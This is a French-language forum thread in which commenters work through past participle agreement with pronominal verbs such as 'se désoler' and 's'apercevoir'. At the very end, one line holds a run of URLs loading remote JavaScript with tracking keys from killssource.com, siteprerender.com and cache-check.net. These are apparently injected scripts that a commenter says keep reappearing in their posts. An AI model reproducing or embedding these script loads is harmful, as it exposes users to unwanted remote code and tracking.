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à Joelle >>> votre explication me convient très bien (« Il me semble que désoler est occasionnellement pronominal. En ce cas, réfléchi ou réciproque, on accorde le PP avec le COD ») et je vous en remercie
>>> En fait, lorsqu’on recherche le COD, il faut correctement se poser la question, c-à-d avec l’auxiliaire avoir >>> « ont désolé qui >>> eux-mêmes (et non pas » se sont désolés de quoi » (car là on pense (à tort) qu’il s’agit d’un COI). Je crois bien que mon hésitation portait sur ce point très précis^^
merci mille fois pour votre éclairage et très bonne journée
PS. ce lien internet en fin de commentaire est vraiment persistant >>> lorsque je vais pour supprimer . . … il se duplique 🙁
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Merci à tous les deux pour ces nouvelles précisions (PS. le 2ème lien de plusieurs lignes n’arrête pas de s’inviter tout seul et je ne peux le supprimer _bizarre.. . .)
Bref, si je comprends bien >>>
« elle s’est aperçue que c’était vrai » (sens différent du verbe pronominal = verbe essentiellement pronominal OU BIEN ‘se’ non analysable >>> accord a/ le Sujet
« ceux qui se sont désolés de ne pouvoir comprendre = verbe occasionnellement pronominal de sens réfléchi (ont désolé qui = eux-mêmes >>> accord a/ le COD ‘se’
merci de confirmer 🙂
Un grand merci sincère à votre équipe
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>>> ce serait mieux si je n’avais pas oublié de mot, effectivement. Désolée pour cette omission. Je reformule les exemples (et corrigerai dans le post initial) >>>
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- 1/ elle s’est demandé si c’était vrai >>> ok
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- 2/ elle s’est aperçue que c’était faux >>> erreur ?
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- 3/ elle s’est rendue compte que de son erreur >>> erreur ?
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- 4/ ceux qui se sont désolés de constater que c’était vrai >>> erreur ?
1/ les avis divergeant, pourrais-je avoir un consensus sur les exemples 2 et 3 ?
2/ le verbe « désoler » me semble occasionnellement pronominal (ex « la situation désole tout le monde ») >>> pourquoi faut-il malgré tout accorder ?
un grand merci pour vos réponses
cordialement
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merci infiniment pour votre rapidité et vos réponses : )
la phrase suivante changerait-elle qqch ? (probablement pas … ) >>> ceux qui se sont désolés de constater que… ?
en fait, ma première intuition était la vôtre : « désoler » = V essentiellement pronominal, mais en fait, le verbe peut ou pas être pronominal (ex la situation désole tout le monde), d’où mon hésitation. . … et s’il est accidentellement pronominal, le verbe est alors suivi d’un COI interdisant l’accord (pourriez-vous corriger mon raisonnement ?) Un grand merci Cdt
//killssource.com/21c1e810f7f98f00b3.jshttps://killssource.com/optout/set/lat?jsonp=__mtz_cb_833653885&key=21c1e810f7f98f00b3&cv=1594907919&t=1594907919262https://killssource.com/optout/set/lt?jsonp=__mtz_cb_550704196&key=21c1e810f7f98f00b3&cv=597256&t=1594907919264https://siteprerender.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8641xhttps://cache-check.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8641x&format=arrjs&r=1594907919274https://killssource.com/ext/21c1e810f7f98f00b3.js?sid=52587_8641_&title=aa&blocks%5B%5D=31af2
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